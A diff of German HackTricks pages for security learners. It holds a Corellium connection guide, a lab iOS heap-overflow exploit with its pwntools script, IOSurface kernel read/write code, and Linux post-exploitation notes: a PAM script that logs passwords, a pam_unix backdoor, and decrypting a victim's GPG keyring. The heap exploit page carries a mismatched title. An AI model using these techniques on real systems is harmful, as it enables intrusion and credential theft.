+1) Öffne die device page → **Connect**  
+2) **Copy the Quick Connect SSH command** shown by Corellium and paste it in your terminal.  
+3) Gib das Passwort ein oder benutze deinen **SSH key** (empfohlen).
+
+### B) **VPN → direct SSH**
+0) Füge deinen **SSH key** in **`/admin/projects`** hinzu (empfohlen).  
+1) Device page → **CONNECT** → **VPN** → lade die `.ovpn` herunter und verbinde dich mit einem VPN-Client, der TAP mode unterstützt. (Check [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) if you have issues.)  
+2) SSH to the VM’s **10.11.x.x** address:
+```bash
+ssh root@10.11.1.1
+```
+## **Eine native Binärdatei hochladen & ausführen**
+
+### 2.1 **Hochladen**
+- Wenn Quick Connect Ihnen einen Host/Port angegeben hat:
+```bash
+scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
+```
+- Wenn VPN verwendet wird (10.11.x.x):
+```bash
+scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
+```
+## **Hochladen & Installieren einer iOS-App (.ipa)**
+
+### Pfad A — **Web UI (am schnellsten)**
+1) Device page → **Apps** Tab → **Install App** → wähle deine `.ipa`.
+2) Aus demselben Tab kannst du **launch/kill/uninstall**.
+
+### Pfad B — **Skriptgesteuert via Corellium Agent**
+1) Verwende den API Agent, um **upload** und anschließend **install** durchzuführen:
+```js
+// Node.js (pseudo) using Corellium Agent
+await agent.upload("./app.ipa", "/var/tmp/app.ipa");
+await agent.install("/var/tmp/app.ipa", (progress, status) => {
+console.log(progress, status);
+});
+```
+### Path C — **Non-jailbroken (proper signing / Sideloadly)**
+- Wenn du kein Provisioning Profile hast, verwende **Sideloadly**, um mit deiner Apple ID neu zu signieren, oder melde dich in Xcode an.
+- Du kannst die VM auch mit **USBFlux** für Xcode freigeben (siehe §5).
+
+
+- Für schnelle Logs/Befehle ohne SSH benutze die Geräte-**Console** in der UI.
+
+## **Extras**
+
+- **Port-forwarding** (die VM für andere Tools lokal erscheinen lassen):
+```bash
+# Forward local 2222 -> device 22
+ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
+# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
+```
+- **LLDB remote debugging**: benutze die **LLDB/GDB stub** Adresse, die unten auf der Seite des Geräts angezeigt wird (CONNECT → LLDB).
+
+- **USBFlux (macOS/Linux)**: präsentiere die VM an **Xcode/Sideloadly** wie ein per Kabel verbundenes Gerät.
+
+
+## **Häufige Fallstricke**
+- **Proper signing** ist auf **non-jailbroken** Geräten erforderlich; unsigned IPAs werden nicht gestartet.
+- **Quick Connect vs VPN**: Quick Connect ist am einfachsten; benutze **VPN**, wenn du das Gerät in deinem lokalen Netzwerk brauchst (z. B. lokale Proxies/Tools).
+- **No App Store** auf Corellium-Geräten; bring your own (re)signed IPAs.
+
+
+
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md

@@ -0,0 +1,205 @@
+# iOS Wie man eine Verbindung zu Corellium herstellt
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Vuln Code
+```c
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+__attribute__((noinline))
+static void safe_cb(void) {
+puts("[*] safe_cb() called — nothing interesting here.");
+}
+
+__attribute__((noinline))
+static void win(void) {
+puts("[+] win() reached — spawning shell...");
+fflush(stdout);
+system("/bin/sh");
+exit(0);
+}
+
+typedef void (*cb_t)(void);
+
+typedef struct {
+cb_t cb;          // <--- Your target: overwrite this with win()
+char tag[16];     // Cosmetic (helps make the chunk non-tiny)
+} hook_t;
+
+static void fatal(const char *msg) {
+perror(msg);
+exit(1);
+}
+
+int main(void) {
+// Make I/O deterministic
+setvbuf(stdout, NULL, _IONBF, 0);
+
+// Print address leak so exploit doesn't guess ASLR
+printf("[*] LEAK win() @ %p\n", (void*)&win);
+
+// 1) Allocate the overflow buffer
+size_t buf_sz = 128;
+char *buf = (char*)malloc(buf_sz);
+if (!buf) fatal("malloc buf");
+memset(buf, 'A', buf_sz);
+
+// 2) Allocate the hook object (likely adjacent in same magazine/size class)
+hook_t *h = (hook_t*)malloc(sizeof(hook_t));
+if (!h) fatal("malloc hook");
+h->cb = safe_cb;
+memcpy(h->tag, "HOOK-OBJ", 8);
+
+// A tiny bit of noise to look realistic (and to consume small leftover holes)
+void *spacers[16];
+for (int i = 0; i < 16; i++) {
+spacers[i] = malloc(64);
+if (spacers[i]) memset(spacers[i], 0xCC, 64);
+}
+
+puts("[*] You control a write into the 128B buffer (no bounds check).");
+puts("[*] Enter payload length (decimal), then the raw payload bytes.");
+
+// 3) Read attacker-chosen length and then read that many bytes → overflow
+char line[64];
+if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
+unsigned long n = strtoul(line, NULL, 10);
+
+// BUG: no clamp to 128
+ssize_t got = read(STDIN_FILENO, buf, n);
+if (got < 0) fatal("read");
+printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
+
+// 4) Trigger: call the hook's callback
+puts("[*] Calling h->cb() ...");
+h->cb();
+
+puts("[*] Done.");
+return 0;
+}
+```
+Kompiliere es mit:
+```bash
+clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
+```
+## Exploit
+
+> [!WARNING]
+> Dieser Exploit setzt die Umgebungsvariable `MallocNanoZone=0`, um die NanoZone zu deaktivieren. Das ist nötig, um bei Aufrufen von `malloc` mit kleinen Größen benachbarte Allokationen zu erhalten. Ohne dies werden verschiedene `malloc`-Allokationen in unterschiedlichen Zonen alloziert und sind nicht benachbart, weshalb der overflow nicht wie erwartet funktioniert.
+```python
+#!/usr/bin/env python3
+# Heap overflow exploit for macOS ARM64 CTF challenge
+#
+# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
+# a function pointer in an adjacent heap chunk.
+#
+# Key insights:
+# 1. macOS uses different heap zones for different allocation sizes
+# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
+# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
+#
+from pwn import *
+import re
+import sys
+import struct
+import platform
+
+# Detect architecture and set context accordingly
+if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
+context.clear(arch='aarch64')
+else:
+context.clear(arch='amd64')
+
+BIN = './heap_groom'
+
+def parse_leak(line):
+m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
+if not m:
+log.failure("Couldn't parse leak")
+sys.exit(1)
+return int(m.group(1), 16)
+
+def build_payload(win_addr, extra_pad=0):
+# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
+padding = b'A' * 128
+if extra_pad:
+padding += b'B' * extra_pad
+# Add the win address to overwrite the function pointer
+payload = padding + p64(win_addr)
+return payload
+
+def main():
+# On macOS, we need to disable the Nano zone for adjacent allocations
+import os
+env = os.environ.copy()
+env['MallocNanoZone'] = '0'
+
+# The correct padding with MallocNanoZone=0 is 432 bytes
+# This makes the total distance 560 bytes (128 buffer + 432 padding)
+# Try the known working value first, then alternatives in case of heap variation
+candidates = [
+432,    # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
+424,    # Try slightly less in case of alignment differences
+440,    # Try slightly more
+416,    # 16 bytes less
+448,    # 16 bytes more
+0,      # Direct adjacency (unlikely but worth trying)
+]
+
+log.info("Starting heap overflow exploit for macOS...")
+
+for extra in candidates:
+log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
+p = process(BIN, env=env)
+
+# Read leak line
+leak_line = p.recvline()
+win_addr = parse_leak(leak_line)
+log.success(f"win() @ {hex(win_addr)}")
+
+# Skip prompt lines
+p.recvuntil(b"Enter payload length")
+p.recvline()
+
+# Build and send payload
+payload = build_payload(win_addr, extra_pad=extra)
+total_len = len(payload)
+
+log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
+
+# Send length and payload
+p.sendline(str(total_len).encode())
+p.send(payload)
+
+# Check if we overwrote the function pointer successfully
+try:
+output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
+p.recvline(timeout=0.5)  # Skip the "..." part
+
+# Check if we hit win()
+response = p.recvline(timeout=0.5)
+if b"win() reached" in response:
+log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
+log.success("Shell spawned, entering interactive mode...")
+p.interactive()
+return
+elif b"safe_cb() called" in response:
+log.info(f"Failed with extra_pad={extra}, safe_cb was called")
+else:
+log.info(f"Failed with extra_pad={extra}, unexpected response")
+except:
+log.info(f"Failed with extra_pad={extra}, likely crashed")
+
+p.close()
+
+log.failure("All padding attempts failed. The heap layout might be different.")
+log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
+
+if __name__ == '__main__':
+main()
+```
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md

@@ -0,0 +1,215 @@
+# iOS Physical Use-After-Free via IOSurface
+
+{{#include ../../banners/hacktricks-training.md}}
+
+
+## Physical use-after-free
+
+This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
+
+### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
+
+Der **virtuelle Adressraum** für User-Prozesse auf iOS reicht von **0x0 bis 0x8000000000**. Diese Adressen zeigen jedoch nicht direkt auf den physischen Speicher. Stattdessen übersetzt der **kernel** virtuelle Adressen über **page tables** in tatsächliche **physische Adressen**.
+
+#### Levels of Page Tables in iOS
+
+Page tables sind hierarchisch in drei Ebenen organisiert:
+
+1. **L1 Page Table (Level 1)**:
+* Jeder Eintrag repräsentiert einen großen Bereich des virtuellen Speichers.
+* Deckt **0x1000000000 bytes** (oder **256 GB**) virtuellen Speicher ab.
+2. **L2 Page Table (Level 2)**:
+* Ein Eintrag repräsentiert einen kleineren Bereich von **0x2000000 bytes** (32 MB).
+* Ein L1-Eintrag kann auf eine L2-Tabelle zeigen, wenn er den gesamten Bereich nicht direkt mappt.
+3. **L3 Page Table (Level 3)**:
+* Die feinste Ebene, bei der jeder Eintrag eine einzelne **4 KB**-Speicherseite abbildet.
+* Ein L2-Eintrag kann auf eine L3-Tabelle zeigen, wenn detailliertere Kontrolle nötig ist.
+
+#### Mapping Virtual to Physical Memory
+
+* **Direct Mapping (Block Mapping)**:
+* Manche Einträge in einer page table mappen direkt einen Bereich virtueller Adressen auf einen zusammenhängenden Bereich physischer Adressen (wie eine Abkürzung).
+* **Pointer to Child Page Table**:
+* Wenn feinere Kontrolle benötigt wird, kann ein Eintrag auf einer Ebene (z. B. L1) auf eine **child page table** der nächsten Ebene (z. B. L2) zeigen.
+
+#### Example: Mapping a Virtual Address
+
+Angenommen, du versuchst auf die virtuelle Adresse **0x1000000000** zuzugreifen:
+
+1. **L1 Table**:
+* Der kernel überprüft den L1-Page-Table-Eintrag, der dieser virtuellen Adresse entspricht. Zeigt er auf eine **L2 page table**, geht er zu dieser L2-Tabelle.
+2. **L2 Table**:
+* Der kernel prüft die L2-Page-Table für eine detailliertere Zuordnung. Zeigt dieser Eintrag auf eine **L3 page table**, geht es weiter dorthin.
+3. **L3 Table**:
+* Der kernel liest den finalen L3-Eintrag aus, der auf die **physische Adresse** der tatsächlichen Speicherseite zeigt.
+
+#### Example of Address Mapping
+
+Wenn du die physische Adresse **0x800004000** in den ersten Index der L2-Tabelle schreibst, dann:
+
+* Virtuelle Adressen von **0x1000000000** bis **0x1002000000** werden auf physische Adressen von **0x800004000** bis **0x802004000** abgebildet.
+* Das ist ein **Block Mapping** auf L2-Ebene.
+
+Alternativ, wenn der L2-Eintrag auf eine L3-Tabelle zeigt:
+
+* Jede 4 KB-Seite im virtuellen Adressbereich **0x1000000000 -> 0x1002000000** würde durch einzelne Einträge in der L3-Tabelle gemappt werden.
+
+### Physical use-after-free
+
+Ein **physical use-after-free** (UAF) tritt auf, wenn:
+
+1. Ein Prozess Speicher als **readable and writable** allokiert.
+2. Die **page tables** aktualisiert werden, sodass dieser Speicher auf eine bestimmte physische Adresse gemappt wird, auf die der Prozess zugreifen kann.
+3. Der Prozess den Speicher **dealloziert** (freigibt).
+4. Aufgrund eines **Bugs** vergisst der kernel jedoch, die Zuordnung aus den page tables zu entfernen, obwohl der entsprechende physische Speicher als frei markiert wird.
+5. Der kernel kann diesen "freigegebenen" physischen Speicher dann für andere Zwecke neu allozieren, z. B. für **kernel data**.
+6. Da die Zuordnung nicht entfernt wurde, kann der Prozess weiterhin auf diesen physischen Speicher **lesen und schreiben**.
+
+Das bedeutet, der Prozess kann auf **Seiten von kernel-Speicher** zugreifen, die sensible Daten oder Strukturen enthalten können, was einem Angreifer ermöglichen könnte, **kernel memory** zu manipulieren.
+
+### IOSurface Heap Spray
+
+Da der Angreifer nicht kontrollieren kann, welche spezifischen kernel-Seiten einer freigegebenen Seite zugewiesen werden, verwendet er die Technik **heap spray**:
+
+1. Der Angreifer **erstellt eine große Anzahl von IOSurface-Objekten** im kernel-Speicher.
+2. Jedes IOSurface-Objekt enthält einen **magic value** in einem seiner Felder, der das Identifizieren erleichtert.
+3. Sie **scannen die freigegebenen Seiten**, um zu sehen, ob eines dieser IOSurface-Objekte auf einer freigegebenen Seite gelandet ist.
+4. Wenn sie ein IOSurface-Objekt auf einer freigegebenen Seite finden, können sie es verwenden, um **kernel memory** zu lesen und zu schreiben.
+
+Mehr Infos dazu in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
+
+> [!TIP]
+> Beachte, dass iOS 16+ (A12+) Geräte Hardware-Mitigationen (wie PPL oder SPTM) bringen, die physical UAF-Techniken deutlich weniger praktikabel machen.
+> PPL erzwingt strikte MMU-Schutzmechanismen auf Seiten, die mit Code-Signing, Entitlements und sensiblen kernel-Daten zusammenhängen. Selbst wenn eine Seite wiederverwendet wird, werden Writes aus userland oder kompromittiertem kernel-Code auf PPL-geschützte Seiten blockiert.
+> Secure Page Table Monitor (SPTM) erweitert PPL, indem es page table-Updates selbst härter absichert. Es stellt sicher, dass selbst privilegierter kernel-Code nicht stillschweigend freed pages remappen oder Mappings ohne sichere Checks manipulieren kann.
+> KTRR (Kernel Text Read-Only Region) sperrt den Kernel-Code-Bereich nach dem Boot als read-only. Das verhindert Laufzeit-Modifikationen am Kernel-Code und schließt einen großen Angriffsvektor, auf den physical UAF-Exploits oft angewiesen sind.
+> Außerdem sind IOSurface-Allocations weniger vorhersehbar und schwerer in benutzerzugängliche Regionen zu mappen, wodurch der „Magic-Value-Scanning“-Trick deutlich unzuverlässiger wird. Und IOSurface ist jetzt durch Entitlements und Sandbox-Restriktionen geschützt.
+
+### Step-by-Step Heap Spray Process
+
+1. **Spray IOSurface Objects**: Der Angreifer erzeugt viele IOSurface-Objekte mit einem speziellen Identifier ("magic value").
+2. **Scan Freed Pages**: Sie prüfen, ob eines der Objekte auf einer freigegebenen Seite zugewiesen wurde.
+3. **Read/Write Kernel Memory**: Durch Manipulation von Feldern im IOSurface-Objekt erlangen sie die Fähigkeit zu **arbitrary reads and writes** im kernel-Speicher. Das erlaubt ihnen:
+* Ein Feld zu verwenden, um **jeden 32-bit Wert** im kernel-Speicher zu lesen.
+* Ein anderes Feld zu verwenden, um **64-bit Werte zu schreiben**, wodurch eine stabile **kernel read/write primitive** entsteht.
+
+Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
+```c
+void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
+if (*nClients >= 0x4000) return;
+for (int i = 0; i < nSurfaces; i++) {
+fast_create_args_t args;
+lock_result_t result;
+
+size_t size = IOSurfaceLockResultSize;
+args.address = 0;
+args.alloc_size = *nClients + 1;
+args.pixel_format = IOSURFACE_MAGIC;
+
+IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
+io_connect_t id = result.surface_id;
+
+(*clients)[*nClients] = id;
+*nClients = (*nClients) += 1;
+}
+}
+```
+Suche nach **`IOSurface`**-Objekten in einer freigegebenen physischen Seite:
+```c
+int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
+io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
+int nSurfaceIDs = 0;
+
+for (int i = 0; i < 0x400; i++) {
+spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
+
+for (int j = 0; j < nPages; j++) {
+uint64_t start = puafPages[j];
+uint64_t stop = start + (pages(1) / 16);
+
+for (uint64_t k = start; k < stop; k += 8) {
+if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
+info.object = k;
+info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
+if (self_task) *self_task = iosurface_get_receiver(k);
+goto sprayDone;
+}
+}
+}
+}
+
+sprayDone:
+for (int i = 0; i < nSurfaceIDs; i++) {
+if (surfaceIDs[i] == info.surface) continue;
+iosurface_release(client, surfaceIDs[i]);
+}
+free(surfaceIDs);
+
+return 0;
+}
+```
+### Erreichen von Kernel-Lese-/Schreibzugriff mit IOSurface
+
+Nachdem Kontrolle über ein IOSurface-Objekt im Kernel-Speicher erreicht wurde (auf eine freigegebene physische Seite abgebildet, die aus dem userspace zugänglich ist), können wir es für **beliebige Kernel-Lese- und Schreiboperationen** verwenden.
+
+**Wichtige Felder in IOSurface**
+
+Das IOSurface-Objekt hat zwei entscheidende Felder:
+
+1. **Use Count Pointer**: Ermöglicht ein **32-Bit read**.
+2. **Indexed Timestamp Pointer**: Ermöglicht ein **64-Bit write**.
+
+Indem wir diese Zeiger überschreiben, leiten wir sie auf beliebige Adressen im Kernel-Speicher um und ermöglichen Lese-/Schreibzugriff.
+
+#### 32-Bit Kernel-Lesezugriff
+
+Um einen Lesevorgang durchzuführen:
+
+1. Überschreibe den **use count pointer**, sodass er auf die Zieladresse minus einem 0x14-Byte-Offset zeigt.
+2. Verwende die Methode `get_use_count`, um den Wert an dieser Adresse zu lesen.
+```c
+uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
+uint64_t args[1] = {surfaceID};
+uint32_t size = 1;
+uint64_t out = 0;
+IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
+return (uint32_t)out;
+}
+
+uint32_t iosurface_kread32(uint64_t addr) {
+uint64_t orig = iosurface_get_use_count_pointer(info.object);
+iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
+uint32_t value = get_use_count(info.client, info.surface);
+iosurface_set_use_count_pointer(info.object, orig);
+return value;
+}
+```
+#### 64-Bit Kernel-Schreiben
+
+Um einen Schreibvorgang auszuführen:
+
+1. Überschreibe den **indexierten Zeitstempelzeiger** mit der Zieladresse.
+2. Verwende die `set_indexed_timestamp`-Methode, um einen 64-Bit-Wert zu schreiben.
+```c
+void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
+uint64_t args[3] = {surfaceID, 0, value};
+IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
+}
+
+void iosurface_kwrite64(uint64_t addr, uint64_t value) {
+uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
+iosurface_set_indexed_timestamp_pointer(info.object, addr);
+set_indexed_timestamp(info.client, info.surface, value);
+iosurface_set_indexed_timestamp_pointer(info.object, orig);
+}
+```
+#### Zusammenfassung des Exploit-Ablaufs
+
+1. **Trigger Physical Use-After-Free**: Freie Seiten stehen zur Wiederverwendung zur Verfügung.
+2. **Spray IOSurface Objects**: Viele IOSurface-Objekte mit einem eindeutigen "magic value" im kernel memory allozieren.
+3. **Identify Accessible IOSurface**: Eine IOSurface auf einer freigegebenen Seite finden, die Sie kontrollieren.
+4. **Abuse Use-After-Free**: Pointer im IOSurface-Objekt manipulieren, um über IOSurface methods beliebiges **kernel read/write** zu ermöglichen.
+
+Mit diesen Primitiven stellt der Exploit kontrollierte **32-bit reads** und **64-bit writes** auf kernel memory bereit. Weitere Jailbreak-Schritte könnten stabilere read/write-Primitiven erfordern, die zusätzliche Schutzmechanismen umgehen müssen (z. B. PPL auf neueren arm64e-Geräten).
+
+{{#include ../../banners/hacktricks-training.md}}

src/linux-hardening/linux-post-exploitation/README.md

@@ -4,7 +4,7 @@
 
 ## Sniffing Logon Passwords with PAM
 
-Konfigurieren wir ein PAM-Modul, um jedes Passwort zu protokollieren, das ein Benutzer zum Einloggen verwendet. Wenn du nicht weißt, was PAM ist, siehe:
+Lass uns ein PAM-Modul konfigurieren, um jedes Passwort zu protokollieren, das ein Benutzer beim Login verwendet. Wenn du nicht weißt, was PAM ist, siehe:
 
 
 {{#ref}}
@@ -14,13 +14,13 @@ pam-pluggable-authentication-modules.md
 **For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Dies ist nur eine Zusammenfassung:
 
 **Technikübersicht:**
-Pluggable Authentication Modules (PAM) bieten Flexibilität bei der Verwaltung der Authentifizierung auf Unix-basierten Systemen. Sie können die Sicherheit verbessern, indem Login-Prozesse angepasst werden, stellen jedoch auch ein Risiko dar, wenn sie missbraucht werden. Diese Zusammenfassung skizziert eine Technik, um Login-Anmeldeinformationen mit PAM zu erfassen, sowie Gegenmaßnahmen.
+Pluggable Authentication Modules (PAM) bieten Flexibilität bei der Verwaltung von Authentifizierung auf Unix-basierten Systemen. Sie können die Sicherheit verbessern, indem sie Login-Prozesse anpassen, bergen aber auch Risiken bei Missbrauch. Diese Zusammenfassung skizziert eine Technik, um Login-Zugangsdaten mit PAM abzugreifen, sowie Gegenmaßnahmen.
 
-**Erfassung von Anmeldeinformationen:**
+**Erfassung von Zugangsdaten:**
 
-- Ein bash-Skript mit dem Namen `toomanysecrets.sh` wird erstellt, um Login-Versuche zu protokollieren und dabei Datum, Benutzername (`$PAM_USER`), Passwort (über stdin) und die IP des Remote-Hosts (`$PAM_RHOST`) in `/var/log/toomanysecrets.log` zu erfassen.
-- Das Skript wird ausführbar gemacht und in die PAM-Konfiguration (`common-auth`) eingebunden, indem das Modul `pam_exec.so` mit Optionen verwendet wird, um leise zu laufen und das Authentifizierungs-Token dem Skript zur Verfügung zu stellen.
-- Der Ansatz zeigt, wie ein kompromittierter Linux-Host ausgenutzt werden kann, um Anmeldeinformationen unauffällig zu protokollieren.
+- Ein bash-Skript namens `toomanysecrets.sh` wird erstellt, um Login-Versuche zu protokollieren und dabei Datum, Benutzername (`$PAM_USER`), Passwort (über stdin) und die IP des entfernten Hosts (`$PAM_RHOST`) in `/var/log/toomanysecrets.log` zu speichern.
+- Das Skript wird ausführbar gemacht und in die PAM-Konfiguration (`common-auth`) integriert, wobei das Modul `pam_exec.so` mit Optionen verwendet wird, es still auszuführen und den Authentifizierungs-Token an das Skript zu übergeben.
+- Die Methode zeigt, wie ein kompromittierter Linux-Host ausgenutzt werden kann, um Zugangsdaten unauffällig zu protokollieren.
 ```bash
 #!/bin/sh
 echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
@@ -34,30 +34,31 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
 
 **For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Dies ist nur eine Zusammenfassung:
 
-Das Pluggable Authentication Module (PAM) ist ein unter Linux verwendetes System zur Benutzer-Authentifizierung. Es basiert auf drei Hauptkonzepten: **username**, **password**, und **service**. Konfigurationsdateien für jeden Service befinden sich im Verzeichnis `/etc/pam.d/`, wo shared libraries die Authentifizierung übernehmen.
+Der Pluggable Authentication Module (PAM) ist ein unter Linux eingesetztes System zur Benutzer-Authentifizierung. Es basiert auf drei Hauptkonzepten: **username**, **password**, und **service**. Konfigurationsdateien für jeden Service befinden sich im Verzeichnis `/etc/pam.d/`, wo gemeinsame Bibliotheken die Authentifizierung übernehmen.
 
-**Objective**: Modifiziere PAM, um Authentifizierung mit einem bestimmten Passwort zuzulassen und das tatsächliche Benutzerpasswort zu umgehen. Dies konzentriert sich besonders auf die `pam_unix.so` shared library, die von der Datei `common-auth` verwendet wird, die von fast allen Services zur Passwortüberprüfung eingebunden wird.
+**Ziel**: PAM so modifizieren, dass die Authentifizierung mit einem bestimmten Passwort möglich ist und damit das eigentliche Benutzerpasswort umgangen wird. Der Fokus liegt dabei insbesondere auf der `pam_unix.so` shared library, die von der Datei `common-auth` verwendet wird und von fast allen Services zur Passwortprüfung eingebunden ist.
 
-### Steps for Modifying `pam_unix.so`:
+### Schritte zum Modifizieren von `pam_unix.so`:
 
-1. **Authentifizierungs-Direktive lokalisieren** in der Datei `common-auth`:
+1. Lokalisieren der Authentifizierungsanweisung in der Datei `common-auth`:
 - Die Zeile, die für die Überprüfung des Benutzerpassworts verantwortlich ist, ruft `pam_unix.so` auf.
-2. **Quellcode ändern**:
-- Füge eine Bedingung in die `pam_unix_auth.c` Quelldatei ein, die den Zugang gewährt, wenn ein vordefiniertes Passwort verwendet wird; andernfalls läuft der normale Authentifizierungsprozess weiter.
-3. **Kompilieren und Ersetzen** der modifizierten `pam_unix.so`-Bibliothek im entsprechenden Verzeichnis.
-4. **Testen**:
-- Mit dem vordefinierten Passwort wird über verschiedene Services (login, ssh, sudo, su, screensaver) Zugriff gewährt, während die normale Authentifizierung weiterhin unverändert funktioniert.
+2. Quellcode ändern:
+- Fügen Sie in der Datei `pam_unix_auth.c` eine Bedingung hinzu, die Zugriff gewährt, wenn ein vordefiniertes Passwort verwendet wird; andernfalls wird der normale Authentifizierungsprozess fortgesetzt.
+3. Kompilieren und Ersetzen:
+- Kompilieren Sie die modifizierte `pam_unix.so`-Bibliothek neu und ersetzen Sie sie im entsprechenden Verzeichnis.
+4. Testen:
+- Mit dem vordefinierten Passwort wird der Zugriff über verschiedene Services (login, ssh, sudo, su, screensaver) gewährt, während die normale Authentifizierung unverändert bleibt.
 
 > [!TIP]
-> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
+> Sie können diesen Prozess mit [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) automatisieren
 
-## GPG loot durch Verlagerung des homedir entschlüsseln
+## GPG-Loot durch Verlagerung des homedir entschlüsseln
 
-Wenn du eine verschlüsselte `.gpg`-Datei und das `~/.gnupg`-Verzeichnis eines Nutzers (pubring, private-keys, trustdb) findest, diese aber wegen GnuPG homedir-Berechtigungen/Locks nicht entschlüsseln kannst, kopiere den keyring an einen beschreibbaren Ort und nutze ihn als dein GPG home.
+Wenn Sie eine verschlüsselte `.gpg`-Datei und den `~/.gnupg`-Ordner eines Benutzers (pubring, private-keys, trustdb) finden, aber aufgrund von GnuPG homedir-Berechtigungen/-Sperren nicht entschlüsseln können, kopieren Sie das keyring an einen beschreibbaren Ort und verwenden Sie es als Ihr GPG-Home.
 
-Typische Fehler, die ohne diesen Schritt auftreten: "unsafe ownership on homedir", "failed to create temporary file", oder "decryption failed: No secret key" (weil GPG das originale homedir nicht lesen/schreiben kann).
+Typische Fehler, die ohne diese Maßnahme auftreten: "unsafe ownership on homedir", "failed to create temporary file", oder "decryption failed: No secret key" (weil GPG das ursprüngliche homedir nicht lesen/schreiben kann).
 
-Ablauf:
+Workflow:
 ```bash
 # 1) Stage a writable homedir and copy the victim's keyring
 mkdir -p /dev/shm/fakehome/.gnupg
@@ -70,7 +71,7 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
 # or
 gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
 ```
-Wenn das geheime Schlüsselmaterial in `private-keys-v1.d` vorhanden ist, entsperrt und entschlüsselt GPG ohne Abfrage einer Passphrase (oder fordert zur Eingabe auf, wenn der Schlüssel geschützt ist).
+Wenn das geheime Schlüsselmaterial in `private-keys-v1.d` vorhanden ist, wird GPG ohne Aufforderung zur Eingabe einer passphrase entsperren und entschlüsseln (oder es wird auffordern, wenn der Schlüssel geschützt ist).
 
 
 ## Referenzen

src/mobile-pentesting/android-app-pentesting/README.md

@@ -2,9 +2,9 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Grundlagen zu Android-Anwendungen
+## Android-Anwendungen Grundlagen
 
-Es wird dringend empfohlen, diese Seite zuerst zu lesen, um die **wichtigsten Teile in Bezug auf Android-Sicherheit und die gefährlichsten Komponenten in einer Android-Anwendung** kennenzulernen:
+Es wird dringend empfohlen, diese Seite zuerst zu lesen, um die **wichtigsten Teile im Zusammenhang mit Android-Sicherheit und die gefährlichsten Komponenten in einer Android-Anwendung** zu kennen:
 
 
 {{#ref}}
@@ -13,15 +13,15 @@ android-applications-basics.md
 
 ## ADB (Android Debug Bridge)
 
-Dies ist das Hauptwerkzeug, das Sie benötigen, um eine Verbindung zu einem Android-Gerät (emuliert oder physisch) herzustellen.\
-**ADB** ermöglicht es, Geräte entweder über **USB** oder **Netzwerk** von einem Computer aus zu steuern. Dieses Dienstprogramm erlaubt das **Kopieren** von Dateien in beide Richtungen, die **Installation** und **Deinstallation** von Apps, die **Ausführung** von Shell-Befehlen, das **Sichern** von Daten, das **Lesen** von Logs, unter anderen Funktionen.
+Dies ist das Haupttool, das Sie benötigen, um eine Verbindung zu einem Android-Gerät (emuliert oder physisch) herzustellen.\
+**ADB** ermöglicht die Steuerung von Geräten entweder über **USB** oder **Netzwerk** von einem Computer aus. Dieses Tool erlaubt das **Kopieren** von Dateien in beide Richtungen, die **Installation** und **Deinstallation** von Apps, die **Ausführung** von Shell-Befehlen, das **Sichern** von Daten, das **Lesen** von Logs, sowie andere Funktionen.
 
